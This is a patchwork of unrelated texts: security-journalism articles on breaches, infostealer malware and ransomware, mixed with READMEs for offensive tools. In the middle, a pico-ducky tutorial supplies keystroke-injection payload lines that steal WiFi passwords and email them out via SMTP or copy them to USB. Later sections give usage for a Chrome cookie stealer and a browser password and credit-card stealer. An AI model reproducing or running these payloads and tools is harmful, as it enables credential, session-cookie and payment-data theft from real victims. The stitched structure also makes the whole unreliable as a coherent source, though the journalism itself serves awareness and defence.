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Security researchers recently revealed that the personal information of millions of people who applied for jobs at McDonald’s was exposed after they guessed the password (“123456”) for the fast food chain’s account at Paradox.ai, a company that makes artificial intelligence based hiring chatbots used by many Fortune 500 firms. Paradox.ai said the security oversight was an isolated incident that did not affect its other customers, but recent security breaches involving its employees in Vietnam tell a more nuanced story.
A screenshot of the paradox.ai homepage showing its AI hiring chatbot “Olivia” interacting with potential hires.
Earlier this month, security researchers Ian Carroll and Sam Curry wrote about simple methods they found to access the backend of the AI chatbot platform on McHire.com, the McDonald’s website that many of its franchisees use to screen job applicants. As first reported by Wired, the researchers discovered that the weak password used by Paradox exposed 64 million records, including applicants’ names, email addresses and phone numbers.
Paradox.ai acknowledged the researchers’ findings but said the company’s other client instances were not affected, and that no sensitive information — such as Social Security numbers — was exposed.
“We are confident, based on our records, this test account was not accessed by any third party other than the security researchers,” the company wrote in a July 9 blog post. “It had not been logged into since 2019 and frankly, should have been decommissioned. We want to be very clear that while the researchers may have briefly had access to the system containing all chat interactions (NOT job applications), they only viewed and downloaded five chats in total that had candidate information within. Again, at no point was any data leaked online or made public.”
However, a review of stolen password data gathered by multiple breach-tracking services shows that at the end of June 2025, a Paradox.ai administrator in Vietnam suffered a malware compromise on their device that stole usernames and passwords for a variety of internal and third-party online services. The results were not pretty.
The password data from the Paradox.ai developer was stolen by a malware strain known as “Nexus Stealer,” a form grabber and password stealer that is sold on cybercrime forums. The information snarfed by stealers like Nexus is often recovered and indexed by data leak aggregator services like Intelligence X, which reports that the malware on the Paradox.ai developer’s device exposed hundreds of mostly poor and recycled passwords (using the same base password but slightly different characters at the end).
Those purloined credentials show the developer in question at one point used the same seven-digit password to log in to Paradox.ai accounts for a number of Fortune 500 firms listed as customers on the company’s website, including Aramark, Lockheed Martin, Lowes, and Pepsi.
Seven-character passwords, particularly those consisting entirely of numerals, are highly vulnerable to “brute-force” attacks that can try a large number of possible password combinations in quick succession. According to a much-referenced password strength guide maintained by Hive Systems, modern password-cracking systems can work out a seven number password more or less instantly.
Image: hivesystems.com.
In response to questions from KrebsOnSecurity, Paradox.ai confirmed that the password data was recently stolen by a malware infection on the personal device of a longtime Paradox developer based in Vietnam, and said the company was made aware of the compromise shortly after it happened. Paradox maintains that few of the exposed passwords were still valid, and that a majority of them were present on the employee’s personal device only because he had migrated the contents of a password manager from an old computer.
Paradox also pointed out that it has been requiring single sign-on (SSO) authentication since 2020 that enforces multi-factor authentication for its partners. Still, a review of the exposed passwords shows they included the Vietnamese administrator’s credentials to the company’s SSO platform — paradoxai.okta.com. The password for that account ended in 202506 — possibly a reference to the month of June 2025 — and the digital cookie left behind after a successful Okta login with those credentials says it was valid until December 2025.
Also exposed were the administrator’s credentials and authentication cookies for an account at Atlassian, a platform made for software development and project management. The expiration date for that authentication token likewise was December 2025.
Infostealer infections are among the leading causes of data breaches and ransomware attacks today, and they result in the theft of stored passwords and any credentials the victim types into a browser. Most infostealer malware also will siphon authentication cookies stored on the victim’s device, and depending on how those tokens are configured thieves may be able to use them to bypass login prompts and/or multi-factor authentication.
Quite often these infostealer infections will open a backdoor on the victim’s device that allows attackers to access the infected machine remotely. Indeed, it appears that remote access to the Paradox administrator’s compromised device was offered for sale recently.
In February 2019, Paradox.ai announced it had successfully completed audits for two fairly comprehensive security standards (ISO 27001 and SOC 2 Type II). Meanwhile, the company’s security disclosure this month says the test account with the atrocious 123456 username and password was last accessed in 2019, but somehow missed in their annual penetration tests. So how did it manage to pass such stringent security audits with these practices in place?
Paradox.ai told KrebsOnSecurity that at the time of the 2019 audit, the company’s various contractors were not held to the same security standards the company practices internally. Paradox emphasized that this has changed, and that it has updated its security and password requirements multiple times since then.
It is unclear how the Paradox developer in Vietnam infected his computer with malware, but a closer review finds a Windows device for another Paradox.ai employee from Vietnam was compromised by similar data-stealing malware at the end of 2024 (that compromise included the victim’s GitHub credentials). In the case of both employees, the stolen credential data includes Web browser logs that indicate the victims repeatedly downloaded pirated movies and television shows, which are often bundled with malware disguised as a video codec needed to view the pirated content.
The U.S. government today unsealed criminal charges against 16 individuals accused of operating and selling DanaBot, a prolific strain of information-stealing malware that has been sold on Russian cybercrime forums since 2018. The FBI says a newer version of DanaBot was used for espionage, and that many of the defendants exposed their real-life identities after accidentally infecting their own systems with the malware.
DanaBot’s features, as promoted on its support site. Image: welivesecurity.com.
Initially spotted in May 2018 by researchers at the email security firm Proofpoint, DanaBot is a malware-as-a-service platform that specializes in credential theft and banking fraud.
Today, the U.S. Department of Justice unsealed a criminal complaint and indictment from 2022, which said the FBI identified at least 40 affiliates who were paying between $3,000 and $4,000 a month for access to the information stealer platform.
The government says the malware infected more than 300,000 systems globally, causing estimated losses of more than $50 million. The ringleaders of the DanaBot conspiracy are named as Aleksandr Stepanov, 39, a.k.a. “JimmBee,” and Artem Aleksandrovich Kalinkin, 34, a.k.a. “Onix”, both of Novosibirsk, Russia. Kalinkin is an IT engineer for the Russian state-owned energy giant Gazprom. His Facebook profile name is “Maffiozi.”
According to the FBI, there were at least two major versions of DanaBot; the first was sold between 2018 and June 2020, when the malware stopped being offered on Russian cybercrime forums. The government alleges that the second version of DanaBot — emerging in January 2021 — was provided to co-conspirators for use in targeting military, diplomatic and non-governmental organization computers in several countries, including the United States, Belarus, the United Kingdom, Germany, and Russia.
“Unindicted co-conspirators would use the Espionage Variant to compromise computers around the world and steal sensitive diplomatic communications, credentials, and other data from these targeted victims,” reads a grand jury indictment dated Sept. 20, 2022. “This stolen data included financial transactions by diplomatic staff, correspondence concerning day-to-day diplomatic activity, as well as summaries of a particular country’s interactions with the United States.”
The indictment says the FBI in 2022 seized servers used by the DanaBot authors to control their malware, as well as the servers that stored stolen victim data. The government said the server data also show numerous instances in which the DanaBot defendants infected their own PCs, resulting in their credential data being uploaded to stolen data repositories that were seized by the feds.
“In some cases, such self-infections appeared to be deliberately done in order to test, analyze, or improve the malware,” the criminal complaint reads. “In other cases, the infections seemed to be inadvertent – one of the hazards of committing cybercrime is that criminals will sometimes infect themselves with their own malware by mistake.”
Image: welivesecurity.com
A statement from the DOJ says that as part of today’s operation, agents with the Defense Criminal Investigative Service (DCIS) seized the DanaBot control servers, including dozens of virtual servers hosted in the United States. The government says it is now working with industry partners to notify DanaBot victims and help remediate infections. The statement credits a number of security firms with providing assistance to the government, including ESET, Flashpoint, Google, Intel 471, Lumen, PayPal, Proofpoint, Team CYMRU, and ZScaler.
It’s not unheard of for financially-oriented malicious software to be repurposed for espionage. A variant of the ZeuS Trojan, which was used in countless online banking attacks against companies in the United States and Europe between 2007 and at least 2015, was for a time diverted to espionage tasks by its author.
As detailed in this 2015 story, the author of the ZeuS trojan created a custom version of the malware to serve purely as a spying machine, which scoured infected systems in Ukraine for specific keywords in emails and documents that would likely only be found in classified documents.
The public charging of the 16 DanaBot defendants comes a day after Microsoft joined a slew of tech companies in disrupting the IT infrastructure for another malware-as-a-service offering — Lumma Stealer, which is likewise offered to affiliates under tiered subscription prices ranging from $250 to $1,000 per month. Separately, Microsoft filed a civil lawsuit to seize control over 2,300 domain names used by Lumma Stealer and its affiliates.
Further reading:
Danabot: Analyzing a Fallen Empire
ZScaler blog: DanaBot Launches DDoS Attack Against the Ukrainian Ministry of Defense
Flashpoint: Operation Endgame DanaBot Malware
Team CYMRU: Inside DanaBot’s Infrastructure: In Support of Operation Endgame II
March 2022 criminal complaint v. Artem Aleksandrovich Kalinkin
September 2022 grand jury indictment naming the 16 defendants
Many GitHub users this week received a novel phishing email warning of critical security holes in their code. Those who clicked the link for details were asked to distinguish themselves from bots by pressing a combination of keyboard keys that causes Microsoft Windows to download password-stealing malware. While it’s unlikely that many programmers fell for this scam, it’s notable because less targeted versions of it are likely to be far more successful against the average Windows user.
A reader named Chris shared an email he received this week that spoofed GitHub’s security team and warned: “Hey there! We have detected a security vulnerability in your repository. Please contact us at https://github-scanner[.]com to get more information on how to fix this issue.”
Visiting that link generates a web page that asks the visitor to “Verify You Are Human” by solving an unusual CAPTCHA.
This malware attack pretends to be a CAPTCHA intended to separate humans from bots.
Clicking the “I’m not a robot” button generates a pop-up message asking the user to take three sequential steps to prove their humanity. Step 1 involves simultaneously pressing the keyboard key with the Windows icon and the letter “R,” which opens a Windows “Run” prompt that will execute any specified program that is already installed on the system.
Executing this series of keypresses prompts the built-in Windows Powershell to download password-stealing malware.
Step 2 asks the user to press the “CTRL” key and the letter “V” at the same time, which pastes malicious code from the site’s virtual clipboard.
Step 3 — pressing the “Enter” key — causes Windows to launch a PowerShell command, and then fetch and execute a malicious file from github-scanner[.]com called “l6e.exe.”
PowerShell is a powerful, cross-platform automation tool built into Windows that is designed to make it simpler for administrators to automate tasks on a PC or across multiple computers on the same network.
According to an analysis at the malware scanning service Virustotal.com, the malicious file downloaded by the pasted text is called Lumma Stealer, and it’s designed to snarf any credentials stored on the victim’s PC.
This phishing campaign may not have fooled many programmers, who no doubt natively understand that pressing the Windows and “R” keys will open up a “Run” prompt, or that Ctrl-V will dump the contents of the clipboard.
But I bet the same approach would work just fine to trick some of my less tech-savvy friends and relatives into running malware on their PCs. I’d also bet none of these people have ever heard of PowerShell, let alone had occasion to intentionally launch a PowerShell terminal.
Given those realities, it would be nice if there were a simple way to disable or at least heavily restrict PowerShell for normal end users for whom it could become more of a liability.
However, Microsoft strongly advises against nixing PowerShell because some core system processes and tasks may not function properly without it. What’s more, doing so requires tinkering with sensitive settings in the Windows registry, which can be a dicey undertaking even for the learned.
Still, it wouldn’t hurt to share this article with the Windows users in your life who fit the less-savvy profile. Because this particular scam has a great deal of room for growth and creativity.
Free to use IOC feed for various tools/malware. It started out for just C2 tools but has morphed into tracking infostealers and botnets as well. It uses shodan.io/">Shodan searches to collect the IPs. The most recent collection is always stored in data; the IPs are broken down by tool and there is an all.txt.
The feed should update daily. Actively working on making the backend more reliable
Many of the Shodan queries have been sourced from other CTI researchers:
Huge shoutout to them!
Thanks to BertJanCyber for creating the KQL query for ingesting this feed
And finally, thanks to Y_nexro for creating C2Live in order to visualize the data
If you want to host a private version, put your Shodan API key in an environment variable called SHODAN_API_KEY
FreshRSS 
echo SHODAN_API_KEY=API_KEY >> ~/.bashrc
bash
python3 -m pip install -r requirements.txt
python3 tracker.py
I encourage opening an issue/PR if you know of any additional Shodan searches for identifying adversary infrastructure. I will not set any hard guidelines around what can be submitted, just know, fidelity is paramount (high true/false positive ratio is the focus).
Have you ever watched a film where a hacker would plug-in, seemingly ordinary, USB drive into a victim's computer and steal data from it? - A proper wet dream for some.
Disclaimer: All content in this project is intended for security research purpose only.
During the summer of 2022, I decided to do exactly that, to build a device that will allow me to steal data from a victim's computer. So, how does one deploy malware and exfiltrate data? In the following text I will explain all of the necessary steps, theory and nuances when it comes to building your own keystroke injection tool. While this project/tutorial focuses on WiFi passwords, payload code could easily be altered to do something more nefarious. You are only limited by your imagination (and your technical skills).
After creating pico-ducky, you only need to copy the modified payload (adjusted for your SMTP details for Windows exploit and/or adjusted for the Linux password and a USB drive name) to the RPi Pico.
Physical access to victim's computer.
Unlocked victim's computer.
Victim's computer has to have an internet access in order to send the stolen data using SMTP for the exfiltration over a network medium.
Knowledge of victim's computer password for the Linux exploit.
Note:
It is possible to build this tool using Rubber Ducky, but keep in mind that RPi Pico costs about $4.00 and the Rubber Ducky costs $80.00.
However, while pico-ducky is a good and budget-friedly solution, Rubber Ducky does offer things like stealthiness and usage of the lastest DuckyScript version.
In order to use Ducky Script to write the payload on your RPi Pico you first need to convert it to a pico-ducky. Follow these simple steps in order to create pico-ducky.
Keystroke injection tool, once connected to a host machine, executes malicious commands by running code that mimics keystrokes entered by a user. While it looks like a USB drive, it acts like a keyboard that types in a preprogrammed payload. Tools like Rubber Ducky can type over 1,000 words per minute. Once created, anyone with physical access can deploy this payload with ease.
The payload uses STRING command processes keystroke for injection. It accepts one or more alphanumeric/punctuation characters and will type the remainder of the line exactly as-is into the target machine. The ENTER/SPACE will simulate a press of keyboard keys.
We use DELAY command to temporarily pause execution of the payload. This is useful when a payload needs to wait for an element such as a Command Line to load. Delay is useful when used at the very beginning when a new USB device is connected to a targeted computer. Initially, the computer must complete a set of actions before it can begin accepting input commands. In the case of HIDs setup time is very short. In most cases, it takes a fraction of a second, because the drivers are built-in. However, in some instances, a slower PC may take longer to recognize the pico-ducky. The general advice is to adjust the delay time according to your target.
Data exfiltration is an unauthorized transfer of data from a computer/device. Once the data is collected, adversary can package it to avoid detection while sending data over the network, using encryption or compression. Two most common way of exfiltration are:
This approach was used for the Windows exploit. The whole payload can be seen here.
This approach was used for the Linux exploit. The whole payload can be seen here.
In order to use the Windows payload (payload1.dd), you don't need to connect any jumper wire between pins.
Once passwords have been exported to the .txt file, payload will send the data to the appointed email using Yahoo SMTP. For more detailed instructions visit a following link. Also, the payload template needs to be updated with your SMTP information, meaning that you need to update RECEIVER_EMAIL, SENDER_EMAIL and yours email PASSWORD. In addition, you could also update the body and the subject of the email.
| STRING Send-MailMessage -To 'RECEIVER_EMAIL' -from 'SENDER_EMAIL' -Subject "Stolen data from PC" -Body "Exploited data is stored in the attachment." -Attachments .\wifi_pass.txt -SmtpServer 'smtp.mail.yahoo.com' -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList 'SENDER_EMAIL', $('PASSWORD' | ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587 |
Note:
After sending data over the email, the
.txtfile is deleted.You can also use some an SMTP from another email provider, but you should be mindful of SMTP server and port number you will write in the payload.
Keep in mind that some networks could be blocking usage of an unknown SMTP at the firewall.
In order to use the Linux payload (payload2.dd) you need to connect a jumper wire between GND and GPIO5 in order to comply with the code in code.py on your RPi Pico. For more information about how to setup multiple payloads on your RPi Pico visit this link.
Once passwords have been exported from the computer, data will be saved to the appointed USB flash drive. In order for this payload to function properly, it needs to be updated with the correct name of your USB drive, meaning you will need to replace USBSTICK with the name of your USB drive in two places.
| STRING echo -e "Wireless_Network_Name Password\n--------------------- --------" > /media/$(hostname)/USBSTICK/wifi_pass.txt |
| STRING done >> /media/$(hostname)/USBSTICK/wifi_pass.txt |
In addition, you will also need to update the Linux PASSWORD in the payload in three places. As stated above, in order for this exploit to be successful, you will need to know the victim's Linux machine password, which makes this attack less plausible.
| STRING echo PASSWORD | sudo -S echo |
| STRING do echo -e "$(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=ssid=).*') \t\t\t\t $(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=psk=).*')" |
In order to run the wifi_passwords_print.sh script you will need to update the script with the correct name of your USB stick after which you can type in the following command in your terminal:
echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICKwhere PASSWORD is your account's password and USBSTICK is the name for your USB device.
NetworkManager is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses .ini-style keyfile format and stores network configuration profiles. The keyfile is a plugin that supports all the connection types and capabilities that NetworkManager has. The files are located in /etc/NetworkManager/system-connections/. Based on the keyfile format, the payload uses the grep command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used ((?<=keyword)). While the positive lookbehind assertion will match at a certain position in the string, sc. at a position right after the keyword without making that text itself part of the match, the regex (?<=keyword).* will match any text after the keyword. This allows the payload to match the values after SSID and psk (pre-shared key) keywords.
For more information about NetworkManager here is some useful links:
Below is an example of the exfiltrated and formatted data from a victim's machine in a .txt file.
WiFi-password-stealer/resources/wifi_pass.txt
Lines 1 to 5 in f5b3b11
| Wireless_Network_Name Password | |
| --------------------- -------- | |
| WLAN1 pass1 | |
| WLAN2 pass2 | |
| WLAN3 pass3 |
One of the advantages of Rubber Ducky over RPi Pico is that it doesn't show up as a USB mass storage device once plugged in. Once plugged into the computer, all the machine sees it as a USB keyboard. This isn't a default behavior for the RPi Pico. If you want to prevent your RPi Pico from showing up as a USB mass storage device when plugged in, you need to connect a jumper wire between pin 18 (GND) and pin 20 (GPIO15). For more details visit this link.
Tip:
- Upload your payload to RPi Pico before you connect the pins.
- Don't solder the pins because you will probably want to change/update the payload at some point.
When creating a functioning payload file, you can use the writer.py script, or you can manually change the template file. In order to run the script successfully you will need to pass, in addition to the script file name, a name of the OS (windows or linux) and the name of the payload file (e.q. payload1.dd). Below you can find an example how to run the writer script when creating a Windows payload.
python3 writer.py windows payload1.ddThis pico-ducky currently works only on Windows OS.
This attack requires physical access to an unlocked device in order to be successfully deployed.
The Linux exploit is far less likely to be successful, because in order to succeed, you not only need physical access to an unlocked device, you also need to know the admins password for the Linux machine.
Machine's firewall or network's firewall may prevent stolen data from being sent over the network medium.
Payload delays could be inadequate due to varying speeds of different computers used to deploy an attack.
The pico-ducky device isn't really stealthy, actually it's quite the opposite, it's really bulky especially if you solder the pins.
Also, the pico-ducky device is noticeably slower compared to the Rubber Ducky running the same script.
If the Caps Lock is ON, some of the payload code will not be executed and the exploit will fail.
If the computer has a non-English Environment set, this exploit won't be successful.
Currently, pico-ducky doesn't support DuckyScript 3.0, only DuckyScript 1.0 can be used. If you need the 3.0 version you will have to use the Rubber Ducky.
Caps Lock bug.sudo.
Attaches to Chrome using its Remote DevTools protocol and steals/injects/clears/deletes cookies.
Heavily inspired by WhiteChocolateMacademiaNut.
Cookies are dumped as JSON objects using Chrome's own format. The same format is used for cookies to be loaded.
For legal use only.
Steal a victim's cookies:
git clone https://github.com/magisterquis/chromecookiestealer.git
cd chromecookiestealer
go build
pkill Chrome
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --restore-last-session # Varies by target
./chromecookiestealer -dump ./cookies.jsonInject into the attacker's local browser:
# Start Chrome with a debug port, as above.
./chromecookiestealer -clear -inject ./cookies.jsonUsage: chromecookiestealer [options]
Attaches to Chrome using the Remote DevTools Protocol (--remote-debugging-port)
and, in order and as requested:
- Dumps cookies
- Clears cookies
- Injects cookies
- Deletes selected cookies
Parameters for cookies to be deleted should be represented as an array of JSON
objects with the following string fields:
name - Name of the cookies to remove.
url - If specified, deletes all the cookies with the given name where domain
and path match provided URL.
domain - If specified, deletes only cookies with the exact domain.
path - If specified, deletes only cookies with the exact path.
Filenames may also be "-" for stdin/stdout.
Options:
-chrome URL
Chrome remote debugging URL (default "ws://127.0.0.1:9222")
-clear
C lear browser cookies
-delete file
Name of file containing parameters for cookies to delete
-dump file
Name of file to which to dump stolen cookies
-inject file
Name of file containing cookies to inject
-no-summary
Don't print a summary on exit
-verbose
Enable verbose logging
go build should be all that's necessary. The following may be set at compile time with -ldflags '-X main.Foo=bar' for a touch more on-target stealth.
| Variable | Description |
|---|---|
| DumpFile | Name of a file to which to dump cookies. Implies -dump
|
| InjectFile | Name of a file from which to inject cookies. Implies -inject
|
| DeleteFile | Name of a file with parameters describing cookies to delete. Implies -delete
|
| DoClear | If set to any value, implies -clear
|
None of the above are set by default.
The Chrome DevTools Protocol is a bit of a moving target. It may be necessary to use a newer version of the chromedp and cdproto libraries should this program stop working. This can be done with
go get -u -v all
go mod tidy
go buildwhich could well have the side-effect of breaking everything else.
¯\_(ツ)_/¯
The victim shaming site operated by the Snatch ransomware group is leaking data about its true online location and internal operations, as well as the Internet addresses of its visitors, KrebsOnSecurity has found. The leaked data suggest that Snatch is one of several ransomware groups using paid ads on Google.com to trick people into installing malware disguised as popular free software, such as Microsoft Teams, Adobe Reader, Mozilla Thunderbird, and Discord.
First spotted in 2018, the Snatch ransomware group has published data stolen from hundreds of organizations that refused to pay a ransom demand. Snatch publishes its stolen data at a website on the open Internet, and that content is mirrored on the Snatch team’s darknet site, which is only reachable using the global anonymity network Tor.
The victim shaming website for the Snatch ransomware gang.
KrebsOnSecurity has learned that Snatch’s darknet site exposes its “server status” page, which includes information about the true Internet addresses of users accessing the website.
Refreshing this page every few seconds shows that the Snatch darknet site generates a decent amount of traffic, often attracting thousands of visitors each day. But by far the most frequent repeat visitors are coming from Internet addresses in Russia that either currently host Snatch’s clear web domain names or recently did.
The Snatch ransomware gang’s victim shaming site on the darknet is leaking data about its visitors. This “server status” page says that Snatch’s website is on Central European Summer Time (CEST) and is powered by OpenSSL/1.1.1f, which is no longer supported by security updates.
Probably the most active Internet address accessing Snatch’s darknet site is 193.108.114[.]41, which is a server in Yekaterinburg, Russia that hosts several Snatch domains, including snatchteam[.]top, sntech2ch[.]top, dwhyj2[.]top and sn76930193ch[.]top. It could well be that this Internet address is showing up frequently because Snatch’s clear-web site features a toggle button at the top that lets visitors switch over to accessing the site via Tor.
Another Internet address that showed up frequently in the Snatch server status page was 194.168.175[.]226, currently assigned to Matrix Telekom in Russia. According to DomainTools.com, this address also hosts or else recently hosted the usual coterie of Snatch domains, as well as quite a few domains phishing known brands such as Amazon and Cashapp.
The Moscow Internet address 80.66.64[.]15 accessed the Snatch darknet site all day long, and that address also housed the appropriate Snatch clear-web domains. More interestingly, that address is home to multiple recent domains that appear confusingly similar to known software companies, including libreoff1ce[.]com and www-discord[.]com.
This is interesting because the phishing domains associated with the Snatch ransomware gang were all registered to the same Russian name — Mihail Kolesnikov, a name that is somewhat synonymous with recent phishing domains tied to malicious Google ads.
Kolesnikov could be a nod to a Russian general made famous during Boris Yeltsin’s reign. Either way, it’s clearly a pseudonym, but there are some other commonalities among these domains that may provide insight into how Snatch and other ransomware groups are sourcing their victims.
DomainTools says there are more than 1,300 current and former domain names registered to Mihail Kolesnikov between 2013 and July 2023. About half of the domains appear to be older websites advertising female escort services in major cities around the United States (e.g. the now-defunct pittsburghcitygirls[.]com).
The other half of the Kolesnikov websites are far more recent phishing domains mostly ending in “.top” and “.app” that appear designed to mimic the domains of major software companies, including www-citrix[.]top, www-microsofteams[.]top, www-fortinet[.]top, ibreoffice[.]top, www-docker[.]top, www-basecamp[.]top, ccleaner-cdn[.]top, adobeusa[.]top, and www.real-vnc[.]top.
In August 2023, researchers with Trustwave Spiderlabs said they encountered domains registered to Mihail Kolesnikov being used to disseminate the Rilide information stealer trojan.
But it appears multiple crime groups may be using these domains to phish people and disseminate all kinds of information-stealing malware. In February 2023, Spamhaus warned of a huge surge in malicious ads that were hijacking search results in Google.com, and being used to distribute at least five different families of information stealing trojans, including AuroraStealer, IcedID/Bokbot, Meta Stealer, RedLine Stealer and Vidar.
For example, Spamhaus said victims of these malicious ads would search for Microsoft Teams in Google.com, and the search engine would often return a paid ad spoofing Microsoft or Microsoft Teams as the first result — above all other results. The malicious ad would include a logo for Microsoft and at first glance appear to be a safe and trusted place to download the Microsoft Teams client.
However, anyone who clicked on the result was whisked away instead to mlcrosofteams-us[.]top — yet another malicious domain registered to Mr. Kolesnikov. And while visitors to this website may believe they are only downloading the Microsoft Teams client, the installer file includes a copy of the IcedID malware, which is really good at stealing passwords and authentication tokens from the victim’s web browser.
Image: Spamhaus
The founder of the Swiss anti-abuse website abuse.ch told Spamhaus it is likely that some cybercriminals have started to sell “malvertising as a service” on the dark web, and that there is a great deal of demand for this service.
In other words, someone appears to have built a very profitable business churning out and promoting new software-themed phishing domains and selling that as a service to other cybercriminals. Or perhaps they are simply selling any stolen data (and any corporate access) to active and hungry ransomware group affiliates.
The tip about the exposed “server status” page on the Snatch darkweb site came from @htmalgae, the same security researcher who alerted KrebsOnSecurity earlier this month that the darknet victim shaming site run by the 8Base ransomware gang was inadvertently left in development mode.
That oversight revealed not only the true Internet address of the hidden 8Base site (in Russia, naturally), but also the identity of a programmer in Moldova who apparently helped to develop the 8Base code.
@htmalgae said the idea of a ransomware group’s victim shaming site leaking data that they did not intend to expose is deliciously ironic.
“This is a criminal group that shames others for not protecting user data,” @htmalgae said. “And here they are leaking their user data.”
All of the malware mentioned in this story is designed to run on Microsoft Windows devices. But Malwarebytes recently covered the emergence of a Mac-based information stealer trojan called AtomicStealer that was being advertised through malicious Google ads and domains that were confusingly similar to software brands.
Please be extra careful when you are searching online for popular software titles. Cracked, pirated copies of major software titles are a frequent source of infostealer infections, as are these rogue ads masquerading as search results. Make sure to double-check you are actually at the domain you believe you’re visiting *before* you download and install anything.
Stay tuned for Part II of this post, which includes a closer look at the Snatch ransomware group and their founder.
Further reading:
@HTMalgae’s list of the top Internet addresses seen accessing Snatch’s darknet site
Ars Technica: Until Further Notice Think Twice Before Using Google to Download Software
Bleeping Computer: Hackers Abuse Google Ads to Spread Malware in Legit Software
This python program gets all the saved passwords, credit cards and bookmarks from chromium based browsers supports chromium 80 and above!
To install all the required modules use the following code:
pip install -r requirements.txt
✔ Amigo
✔ Torch
✔ Kometa
✔ Orbitum
✔ Cent-browser
✔ 7star
✔ Sputnik
✔ Vivaldi
✔ Google-chrome-sxs
✔ Google-chrome
✔ Epic-privacy-browser
✔ Microsoft-edge
✔ Uran
✔ Yandex
✔ Brave
✔ Iridiumpip install -r requirements.txt
Just run this chromium_based_browsers.py the code will create a folder based on the browser name and stores the saved passwords, credit cards and bookmarks in that folder.
